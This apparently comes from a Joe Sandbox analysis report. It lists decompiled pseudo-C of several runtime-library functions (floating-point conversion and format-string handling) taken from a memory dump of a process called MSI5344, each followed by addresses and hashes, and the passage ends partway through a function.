			E00007FF77FF7AF7150CC(void* __ecx, intOrPtr __edx, void* __rax, long long __rbx, unsigned int __rcx, void* __r11, signed int _a8, intOrPtr _a16, long long _a24, intOrPtr* _a40) {
				signed long long _v72;
				signed int _t85;
				intOrPtr _t99;
				void* _t101;
				signed int _t109;
				void* _t112;
				signed long long _t126;
				intOrPtr _t143;
				signed long long _t150;
				signed long long _t151;
				signed long long _t152;
				unsigned long long _t167;
				unsigned long long _t169;
				signed long long _t174;
				signed long long _t176;
				void* _t183;
				signed long long _t184;
				signed long long _t191;
				signed int* _t195;
				signed long long _t198;
				signed long long _t201;
				void* _t204;
				intOrPtr* _t206;
				intOrPtr* _t207;

				_a24 = __rbx;
				_a16 = __edx;
				_a8 = _a8 & 0x00000000;
				_t109 = r8b & 0xffffffff;
				r10b = r9b;
				r11d = __edx;
				_t112 = __rcx - __rax;
				if (_t112 <= 0) goto 0xaf715117;
				asm("bsr ecx, eax");
				if (_t112 == 0) goto 0xaf715110;
				goto 0xaf715112;
				goto 0xaf715122;
				asm("bsr ecx, ebx");
				if (_t112 == 0) goto 0xaf715120;
				goto 0xaf715122;
				asm("inc ebp");
				r14d = r14d & 0x0000001d;
				r14d = r14d + 0x18;
				r14d = r14d;
				_t101 = r11d - r14d;
				asm("inc ebp");
				r8d = r8d & 0x00000380;
				r8d = r8d + 0x7f;
				if (_t101 - r8d > 0) goto 0xaf7153af;
				asm("sbb ecx, ecx");
				if (_t101 - 0xffffff82 >= 0) goto 0xaf7152c3;
				r9d = __r11 - 1;
				r9d = r9d + r8d;
				_a8 = r9d;
				if (r9d >= 0) goto 0xaf7152bb;
				r13d = r9d;
				r13d =  ~r13d;
				if (r13d - 0x40 >= 0) goto 0xaf715264;
				_t150 = __rcx >> 0x00000020 << r13d & __rcx;
				_v72 = _t150;
				_t151 = _t150 << _t201 - 1;
				_t198 = _t151 & __rcx;
				if (r10b == 0) goto 0xaf7151e2;
				_t152 = _t151 - 1;
				if ((__rcx & _t152) != 0) goto 0xaf7151e2;
				r15b = 0;
				goto 0xaf7151e5;
				r15b = bpl;
				if (_t198 != 0) goto 0xaf7151ef;
				if (r15b == 0) goto 0xaf715248;
				E00007FF77FF7AF7245C8();
				if (1 == 0) goto 0xaf71521d;
				if (1 == 0x100) goto 0xaf715218;
				r9d = _a8;
				r11d = _a16;
				if (1 != 0x200) goto 0xaf715248;
				goto 0xaf71524a;
				goto 0xaf715232;
				if (_t198 == 0) goto 0xaf71523e;
				if (r15b != 0) goto 0xaf71522f;
				_t126 = _v72;
				if (_t126 == 0) goto 0xaf71523e;
				r9d = _a8;
				r11d = _a16;
				goto 0xaf71524a;
				r9d = _a8;
				r11d = _a16;
				_t206 = _a40;
				_t167 = (__rcx >> r13d) + _t152;
				if (_t126 != 0) goto 0xaf715288;
				_t174 =  *_t206;
				if ( *((intOrPtr*)(_t206 + 8)) == 0) goto 0xaf715277;
				 *_t174 = _t184 << 0x3f;
				goto 0xaf71527e;
				 *_t174 = _t109 << 0x1f;
				goto 0xaf71544a;
				asm("dec eax");
				_t176 = (_t174 & 0xff800000) + 0x7fffff;
				if (_t167 - _t176 <= 0) goto 0xaf7152b3;
				goto 0xaf7153eb;
				goto 0xaf7153e8;
				if (r14d >= 0) goto 0xaf7153e3;
				r14d =  ~r14d;
				if (r14d - 0x40 < 0) goto 0xaf7152dc;
				goto 0xaf715377;
				r13d = 1;
				_t22 = _t204 - 1; // -25
				if (r10b == 0) goto 0xaf71530e;
				if ((_t167 & 0xff800000) != 0) goto 0xaf71530e;
				r15b = 0;
				goto 0xaf715311;
				r15b = bpl;
				if (0xff800000 != 0) goto 0xaf71531b;
				if (r15b == 0) goto 0xaf715353;
				E00007FF77FF7AF7245C8();
				if (1 == 0) goto 0xaf71533f;
				if (1 == 0x100) goto 0xaf71533a;
				if (1 != 0x200) goto 0xaf715353;
				goto 0xaf715355;
				goto 0xaf715355;
				if ((0xff800000 & _t167) == 0) goto 0xaf715353;
				if (r15b != 0) goto 0xaf71534e;
				if ((_t201 << r14d & _t167) == 0) goto 0xaf715353;
				goto 0xaf715355;
				_t207 = _a40;
				_t85 = r14d;
				_t169 = (_t167 >> _t85) + (0xff800000 << _t22) - 1;
				_t99 =  *((intOrPtr*)(_t207 + 8));
				asm("dec eax");
				if (_t169 - (_t176 & 0xff000000) + 0xffffff <= 0) goto 0xaf7153eb;
				asm("sbb ecx, ecx");
				if (r11d - r9d - r14d - 1 + 1 - (_t85 & 0x00000380) + 0x7f <= 0) goto 0xaf7153eb;
				_t191 =  *_t207;
				_t143 = _t99;
				if (_t143 == 0) goto 0xaf7153cf;
				 *_t191 = _t184 << 0x0000003f | 0x00000000;
				goto 0xaf7153dc;
				 *_t191 = _t109 << 0x0000001f | 0x7f800000;
				goto 0xaf71544a;
				if (_t143 <= 0) goto 0xaf7153eb;
				_t195 =  *_t207;
				asm("dec ebp");
				if (_t99 == 0) goto 0xaf715428;
				 *_t195 = (0x00000000 | _t184 << 0x0000000b) << 0x00000034 | (_t191 & 0xff800000) + 0x007fffff & _t169 >> 0x00000001 << r14d;
				goto 0xaf715448;
				r8d = r8d & 0x007fffff;
				 *_t195 = _t183 + 0x0000007f << 0x00000017 & 0x7f800000 | _t109 << 0x0000001f | r8d;
				return 0;
			}

0x7ff7af7150cc
0x7ff7af7150d1
0x7ff7af7150e4
0x7ff7af7150ee
0x7ff7af7150f2
0x7ff7af7150f5
0x7ff7af7150fb
0x7ff7af7150fe
0x7ff7af715107
0x7ff7af71510a
0x7ff7af71510e
0x7ff7af715115
0x7ff7af715117
0x7ff7af71511a
0x7ff7af71511e
0x7ff7af715137
0x7ff7af71513a
0x7ff7af71513e
0x7ff7af715142
0x7ff7af715145
0x7ff7af71514a
0x7ff7af71514d
0x7ff7af715154
0x7ff7af71515b
0x7ff7af71516f
0x7ff7af71517c
0x7ff7af715182
0x7ff7af715189
0x7ff7af71518e
0x7ff7af715196
0x7ff7af71519c
0x7ff7af71519f
0x7ff7af7151a6
0x7ff7af7151bd
0x7ff7af7151c0
0x7ff7af7151c7
0x7ff7af7151cd
0x7ff7af7151d3
0x7ff7af7151d5
0x7ff7af7151db
0x7ff7af7151dd
0x7ff7af7151e0
0x7ff7af7151e2
0x7ff7af7151e8
0x7ff7af7151ed
0x7ff7af7151ef
0x7ff7af7151f6
0x7ff7af7151fd
0x7ff7af7151ff
0x7ff7af715204
0x7ff7af71520e
0x7ff7af715216
0x7ff7af71521b
0x7ff7af715220
0x7ff7af715225
0x7ff7af715227
0x7ff7af71522d
0x7ff7af715232
0x7ff7af715237
0x7ff7af71523c
0x7ff7af71523e
0x7ff7af715243
0x7ff7af71524a
0x7ff7af71525f
0x7ff7af715262
0x7ff7af715264
0x7ff7af715269
0x7ff7af715272
0x7ff7af715275
0x7ff7af71527c
0x7ff7af715283
0x7ff7af715296
0x7ff7af71529c
0x7ff7af7152a6
0x7ff7af7152b6
0x7ff7af7152be
0x7ff7af7152c6
0x7ff7af7152cc
0x7ff7af7152d3
0x7ff7af7152d7
0x7ff7af7152e4
0x7ff7af7152ec
0x7ff7af7152ff
0x7ff7af715307
0x7ff7af715309
0x7ff7af71530c
0x7ff7af71530e
0x7ff7af715314
0x7ff7af715319
0x7ff7af71531b
0x7ff7af715322
0x7ff7af715329
0x7ff7af715330
0x7ff7af715338
0x7ff7af71533d
0x7ff7af715342
0x7ff7af715347
0x7ff7af71534c
0x7ff7af715351
0x7ff7af715355
0x7ff7af71535d
0x7ff7af715370
0x7ff7af715373
0x7ff7af715385
0x7ff7af715395
0x7ff7af7153a0
0x7ff7af7153ad
0x7ff7af7153af
0x7ff7af7153b2
0x7ff7af7153b4
0x7ff7af7153ca
0x7ff7af7153cd
0x7ff7af7153d9
0x7ff7af7153e1
0x7ff7af7153e3
0x7ff7af7153eb
0x7ff7af7153f2
0x7ff7af715404
0x7ff7af715423
0x7ff7af715426
0x7ff7af715430
0x7ff7af715445
0x7ff7af715461

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a87f569358a33cd319549452586659e09b074fe54dfe6491478bf65415440863
Instruction ID: 5b7612d8b5535f6cafb3a7c10f35779ed325dcdc49b039d88ca3f6e6af1038f4
Opcode Fuzzy Hash: a87f569358a33cd319549452586659e09b074fe54dfe6491478bf65415440863
Instruction Fuzzy Hash: 88917B2BB2AAC24AFA2D5D2594503FD9680AF48358FC61138DD6E477F4CF2CE50D9628

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF71B994 Relevance: .2, Instructions: 207
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 58%

			E00007FF77FF7AF71B994(long long __rbx, intOrPtr* __rcx, long long __rsi, char _a16, long long _a24, long long _a32) {
				void* _v40;
				long long _v72;
				void* __rdi;
				void* _t11;
				intOrPtr* _t25;
				long long _t32;
				intOrPtr** _t33;
				void* _t41;

				_a24 = __rbx;
				_a32 = __rsi;
				_t33 = __rcx;
				_t35 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 8))));
				_t25 =  *((intOrPtr*)(__rcx));
				r14d =  *_t25;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 8)))) != 0) goto 0xaf71b9d4;
				E00007FF77FF7AF72129C(r14d, _t25, _t32);
				goto 0xaf71ba7c;
				_v72 = 0x7fffffff;
				r8d = 0;
				_t11 = E00007FF77FF7AF726918(__rbx,  &_a16, _t33, _t35, _t41, _t35);
				if (_t11 == 0x16) goto 0xaf71bc02;
				if (_t11 == 0x22) goto 0xaf71bc02;
				E00007FF77FF7AF724550(_t11, _a16, _t32);
				if (_t25 != 0) goto 0xaf71ba36;
				E00007FF77FF7AF722110(_t25, _a16);
				return 0;
			}

0x7ff7af71b994
0x7ff7af71b999
0x7ff7af71b9b3
0x7ff7af71b9b6
0x7ff7af71b9b9
0x7ff7af71b9bc
0x7ff7af71b9c2
0x7ff7af71b9c7
0x7ff7af71b9cf
0x7ff7af71b9d7
0x7ff7af71b9e0
0x7ff7af71b9e7
0x7ff7af71b9ef
0x7ff7af71b9f8
0x7ff7af71ba07
0x7ff7af71ba14
0x7ff7af71ba16
0x7ff7af71ba35

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 06a31031cf7b76e5d9a072abfaa7ef765fd974ac10e985aff51443c0d3f44960
Instruction ID: 0b7ddd31a612274af1301170cc5f348f4eed590b78446fe9729268481231b6b6
Opcode Fuzzy Hash: 06a31031cf7b76e5d9a072abfaa7ef765fd974ac10e985aff51443c0d3f44960
Instruction Fuzzy Hash: 6081E436A06A8185EB60EF29D4817BD6360FB88B98FC14636EF1E977A4CF38D0458314

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF711578 Relevance: .1, Instructions: 138
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E00007FF77FF7AF711578(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				signed long long _v24;
				intOrPtr _t87;
				signed int _t91;
				void* _t111;
				intOrPtr _t112;
				signed int _t119;
				intOrPtr _t130;
				void* _t134;
				void* _t144;
				intOrPtr _t150;
				void* _t159;

				_t159 = __r10;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t134 = __rcx;
				bpl = __edx;
				_t87 =  *((intOrPtr*)(__rcx + 0x34));
				_t111 = _t87 - 5;
				if (_t111 > 0) goto 0xaf71165f;
				if (_t111 == 0) goto 0xaf7115c8;
				_t112 = _t87;
				if (_t112 == 0) goto 0xaf7116b3;
				if (_t112 == 0) goto 0xaf711637;
				if (_t112 == 0) goto 0xaf711610;
				if (_t112 == 0) goto 0xaf7116b3;
				if (_t87 - 0xffffffffffffffff != 1) goto 0xaf71167f;
				_t91 =  *(__rcx + 0x28);
				 *((intOrPtr*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + _t144;
				if ((_t91 >> 0x00000004 & 0x00000001) == 0) goto 0xaf7115fa;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x18)) - 8)) >= 0) goto 0xaf7115fa;
				 *(__rcx + 0x28) = _t91 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xaf7116de;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xaf7116f5;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xaf711631;
				goto 0xaf7115e3;
				goto 0xaf7115e3;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				_t119 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t119 == 0) goto 0xaf711659;
				goto 0xaf7115e3;
				goto 0xaf7115e3;
				if (_t119 == 0) goto 0xaf7115c8;
				if (_t119 == 0) goto 0xaf7115c8;
				if (_t119 == 0) goto 0xaf7115c8;
				goto 0xaf7115b6;
				_t130 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t130 + 0x30)) = 1;
				 *((intOrPtr*)(_t130 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7AF70F5F4( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, __rdx,  *((char*)( *((intOrPtr*)(__rcx + 0x18)) - 8)), __rbp, __r8);
				goto 0xaf71174e;
				 *((long long*)(_t134 + 0x18)) =  *((long long*)(_t134 + 0x18)) + 8;
				if (0 == 0) goto 0xaf7116d6;
				_t150 =  *((intOrPtr*)( *((intOrPtr*)(_t134 + 0x18)) - 8));
				goto 0xaf7115e3;
				goto 0xaf7115e3;
				 *(_t134 + 0x28) =  *(_t134 + 0x28) & 0xfffffff7;
				E00007FF77FF7AF7104C8(_t134, _t134 + 0x50,  *((intOrPtr*)(_t134 + 0x30)), _t150,  *((intOrPtr*)(_t134 + 8)));
				if (_t150 != 0) goto 0xaf7116fe;
				 *(_t134 + 0x28) =  *(_t134 + 0x28) & 0xffffffdf;
				 *((char*)(_t134 + 0x4c)) = 1;
				r8b = bpl;
				if (_t144 != 8) goto 0xaf711718;
				E00007FF77FF7AF71207C(_t134, _t150);
				goto 0xaf71171f;
				E00007FF77FF7AF711CE4( *((intOrPtr*)( *((intOrPtr*)(_t134 + 0x18)) - 8)), _t134, _t150, _t159);
				if (0 == 0) goto 0xaf71174c;
				if ( *((intOrPtr*)(_t134 + 0x48)) == 0) goto 0xaf71173d;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t134 + 0x40)))) == 0x30) goto 0xaf71174c;
				 *((long long*)(_t134 + 0x40)) =  *((long long*)(_t134 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t134 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t134 + 0x48)) =  *((intOrPtr*)(_t134 + 0x48)) + 1;
				return 1;
			}

0x7ff7af711578
0x7ff7af711578
0x7ff7af71157d
0x7ff7af711582
0x7ff7af71158c
0x7ff7af71158f
0x7ff7af711592
0x7ff7af711595
0x7ff7af711598
0x7ff7af71159e
0x7ff7af7115a0
0x7ff7af7115a2
0x7ff7af7115ab
0x7ff7af7115b4
0x7ff7af7115b9
0x7ff7af7115c2
0x7ff7af7115c8
0x7ff7af7115d0
0x7ff7af7115ea
0x7ff7af7115ef
0x7ff7af7115f7
0x7ff7af7115fe
0x7ff7af711604
0x7ff7af71160b
0x7ff7af711618
0x7ff7af711628
0x7ff7af71162f
0x7ff7af711635
0x7ff7af71163f
0x7ff7af711649
0x7ff7af711650
0x7ff7af711657
0x7ff7af71165d
0x7ff7af711662
0x7ff7af71166b
0x7ff7af711674
0x7ff7af71167a
0x7ff7af71167f
0x7ff7af711683
0x7ff7af711686
0x7ff7af71168d
0x7ff7af711691
0x7ff7af71169c
0x7ff7af7116a1
0x7ff7af7116a7
0x7ff7af7116ae
0x7ff7af7116bb
0x7ff7af7116cb
0x7ff7af7116cd
0x7ff7af7116d1
0x7ff7af7116d9
0x7ff7af7116e9
0x7ff7af7116f0
0x7ff7af7116f8
0x7ff7af7116fa
0x7ff7af7116fe
0x7ff7af711702
0x7ff7af71170c
0x7ff7af711711
0x7ff7af711716
0x7ff7af71171a
0x7ff7af711727
0x7ff7af711732
0x7ff7af71173b
0x7ff7af71173d
0x7ff7af711746
0x7ff7af711749
0x7ff7af711762

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ecb8b9979793c10852181b7fabf84e18f565fc6bcd5914c49afb4f525614f51
Instruction ID: e7d3b136a1ed42723376b6ffbb12b787554cf80f98ea73c88170ce501107bab1
Opcode Fuzzy Hash: 0ecb8b9979793c10852181b7fabf84e18f565fc6bcd5914c49afb4f525614f51
Instruction Fuzzy Hash: 1151FA3AA0999182E7289F24C0542BCA765EB58B68FD60134CF0E1B7F5CF69EC45C394

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF7111A4 Relevance: .1, Instructions: 138
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00007FF77FF7AF7111A4(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				signed long long _v24;
				intOrPtr _t87;
				signed int _t91;
				void* _t111;
				intOrPtr _t112;
				signed int _t119;
				intOrPtr _t130;
				void* _t134;
				void* _t144;
				intOrPtr _t150;
				void* _t160;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t134 = __rcx;
				bpl = __edx;
				_t87 =  *((intOrPtr*)(__rcx + 0x34));
				_t111 = _t87 - 5;
				if (_t111 > 0) goto 0xaf71128b;
				if (_t111 == 0) goto 0xaf7111f4;
				_t112 = _t87;
				if (_t112 == 0) goto 0xaf7112df;
				if (_t112 == 0) goto 0xaf711263;
				if (_t112 == 0) goto 0xaf71123c;
				if (_t112 == 0) goto 0xaf7112df;
				if (_t87 - 0xffffffffffffffff != 1) goto 0xaf7112ab;
				_t91 =  *(__rcx + 0x28);
				 *((intOrPtr*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + _t144;
				if ((_t91 >> 0x00000004 & 0x00000001) == 0) goto 0xaf711226;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x18)) - 8)) >= 0) goto 0xaf711226;
				 *(__rcx + 0x28) = _t91 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xaf71130a;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xaf711321;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xaf71125d;
				goto 0xaf71120f;
				goto 0xaf71120f;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				_t119 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t119 == 0) goto 0xaf711285;
				goto 0xaf71120f;
				goto 0xaf71120f;
				if (_t119 == 0) goto 0xaf7111f4;
				if (_t119 == 0) goto 0xaf7111f4;
				if (_t119 == 0) goto 0xaf7111f4;
				goto 0xaf7111e2;
				_t130 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t130 + 0x30)) = 1;
				 *((intOrPtr*)(_t130 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7AF70F5F4( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, __rdx,  *((char*)( *((intOrPtr*)(__rcx + 0x18)) - 8)), __rbp, __r8);
				goto 0xaf71137a;
				 *((long long*)(_t134 + 0x18)) =  *((long long*)(_t134 + 0x18)) + 8;
				if (0 == 0) goto 0xaf711302;
				_t150 =  *((intOrPtr*)( *((intOrPtr*)(_t134 + 0x18)) - 8));
				goto 0xaf71120f;
				goto 0xaf71120f;
				 *(_t134 + 0x28) =  *(_t134 + 0x28) & 0xfffffff7;
				E00007FF77FF7AF7104C8(_t134, _t134 + 0x50,  *((intOrPtr*)(_t134 + 0x30)), _t150,  *((intOrPtr*)(_t134 + 8)));
				if (_t150 != 0) goto 0xaf71132a;
				 *(_t134 + 0x28) =  *(_t134 + 0x28) & 0xffffffdf;
				 *((char*)(_t134 + 0x4c)) = 1;
				r8b = bpl;
				if (_t144 != 8) goto 0xaf711344;
				E00007FF77FF7AF711F48(0, _t134, _t150, _t160);
				goto 0xaf71134b;
				E00007FF77FF7AF711BB4( *((intOrPtr*)( *((intOrPtr*)(_t134 + 0x18)) - 8)), _t134, _t160);
				if (0 == 0) goto 0xaf711378;
				if ( *((intOrPtr*)(_t134 + 0x48)) == 0) goto 0xaf711369;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t134 + 0x40)))) == 0x30) goto 0xaf711378;
				 *((long long*)(_t134 + 0x40)) =  *((long long*)(_t134 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t134 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t134 + 0x48)) =  *((intOrPtr*)(_t134 + 0x48)) + 1;
				return 1;
			}

0x7ff7af7111a4
0x7ff7af7111a9
0x7ff7af7111ae
0x7ff7af7111b8
0x7ff7af7111bb
0x7ff7af7111be
0x7ff7af7111c1
0x7ff7af7111c4
0x7ff7af7111ca
0x7ff7af7111cc
0x7ff7af7111ce
0x7ff7af7111d7
0x7ff7af7111e0
0x7ff7af7111e5
0x7ff7af7111ee
0x7ff7af7111f4
0x7ff7af7111fc
0x7ff7af711216
0x7ff7af71121b
0x7ff7af711223
0x7ff7af71122a
0x7ff7af711230
0x7ff7af711237
0x7ff7af711244
0x7ff7af711254
0x7ff7af71125b
0x7ff7af711261
0x7ff7af71126b
0x7ff7af711275
0x7ff7af71127c
0x7ff7af711283
0x7ff7af711289
0x7ff7af71128e
0x7ff7af711297
0x7ff7af7112a0
0x7ff7af7112a6
0x7ff7af7112ab
0x7ff7af7112af
0x7ff7af7112b2
0x7ff7af7112b9
0x7ff7af7112bd
0x7ff7af7112c8
0x7ff7af7112cd
0x7ff7af7112d3
0x7ff7af7112da
0x7ff7af7112e7
0x7ff7af7112f7
0x7ff7af7112f9
0x7ff7af7112fd
0x7ff7af711305
0x7ff7af711315
0x7ff7af71131c
0x7ff7af711324
0x7ff7af711326
0x7ff7af71132a
0x7ff7af71132e
0x7ff7af711338
0x7ff7af71133d
0x7ff7af711342
0x7ff7af711346
0x7ff7af711353
0x7ff7af71135e
0x7ff7af711367
0x7ff7af711369
0x7ff7af711372
0x7ff7af711375
0x7ff7af71138e

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d1c3a0ccb6cd29ade6edb59abc650c0a6808c7d2b219c7f99c84549879a4588
Instruction ID: cc8115d4d5068306271f1506e7c21a3f2b037f70dfc78460ef15d7a17033b234
Opcode Fuzzy Hash: 5d1c3a0ccb6cd29ade6edb59abc650c0a6808c7d2b219c7f99c84549879a4588
Instruction Fuzzy Hash: B651C83BA09A9183E7289F24C0542BCA765EB59B58FD60234CE0D5B7F8CF68EC45C354

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF71194C Relevance: .1, Instructions: 138
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF7AF71194C(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				signed long long _v24;
				intOrPtr _t87;
				signed int _t91;
				void* _t111;
				intOrPtr _t112;
				signed int _t119;
				intOrPtr _t130;
				void* _t134;
				void* _t144;
				intOrPtr _t150;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t134 = __rcx;
				bpl = __edx;
				_t87 =  *((intOrPtr*)(__rcx + 0x34));
				_t111 = _t87 - 5;
				if (_t111 > 0) goto 0xaf711a33;
				if (_t111 == 0) goto 0xaf71199c;
				_t112 = _t87;
				if (_t112 == 0) goto 0xaf711a87;
				if (_t112 == 0) goto 0xaf711a0b;
				if (_t112 == 0) goto 0xaf7119e4;
				if (_t112 == 0) goto 0xaf711a87;
				if (_t87 - 0xffffffffffffffff != 1) goto 0xaf711a53;
				_t91 =  *(__rcx + 0x28);
				 *((intOrPtr*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + _t144;
				if ((_t91 >> 0x00000004 & 0x00000001) == 0) goto 0xaf7119ce;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x18)) - 8)) >= 0) goto 0xaf7119ce;
				 *(__rcx + 0x28) = _t91 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0xaf711ab2;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0xaf711ac9;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0xaf711a05;
				goto 0xaf7119b7;
				goto 0xaf7119b7;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 8;
				_t119 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t119 == 0) goto 0xaf711a2d;
				goto 0xaf7119b7;
				goto 0xaf7119b7;
				if (_t119 == 0) goto 0xaf71199c;
				if (_t119 == 0) goto 0xaf71199c;
				if (_t119 == 0) goto 0xaf71199c;
				goto 0xaf71198a;
				_t130 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t130 + 0x30)) = 1;
				 *((intOrPtr*)(_t130 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = _v24 & 0x00000000;
				E00007FF77FF7AF70F5F4( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, __rdx,  *((char*)( *((intOrPtr*)(__rcx + 0x18)) - 8)), __rbp, __r8);
				goto 0xaf711b22;
				 *((long long*)(_t134 + 0x18)) =  *((long long*)(_t134 + 0x18)) + 8;
				if (0 == 0) goto 0xaf711aaa;
				_t150 =  *((intOrPtr*)( *((intOrPtr*)(_t134 + 0x18)) - 8));
				goto 0xaf7119b7;
				goto 0xaf7119b7;
				 *(_t134 + 0x28) =  *(_t134 + 0x28) & 0xfffffff7;
				E00007FF77FF7AF7104C8(_t134, _t134 + 0x50,  *((intOrPtr*)(_t134 + 0x30)), _t150,  *((intOrPtr*)(_t134 + 8)));
				if (_t150 != 0) goto 0xaf711ad2;
				 *(_t134 + 0x28) =  *(_t134 + 0x28) & 0xffffffdf;
				 *((char*)(_t134 + 0x4c)) = 1;
				r8b = bpl;
				if (_t144 != 8) goto 0xaf711aec;
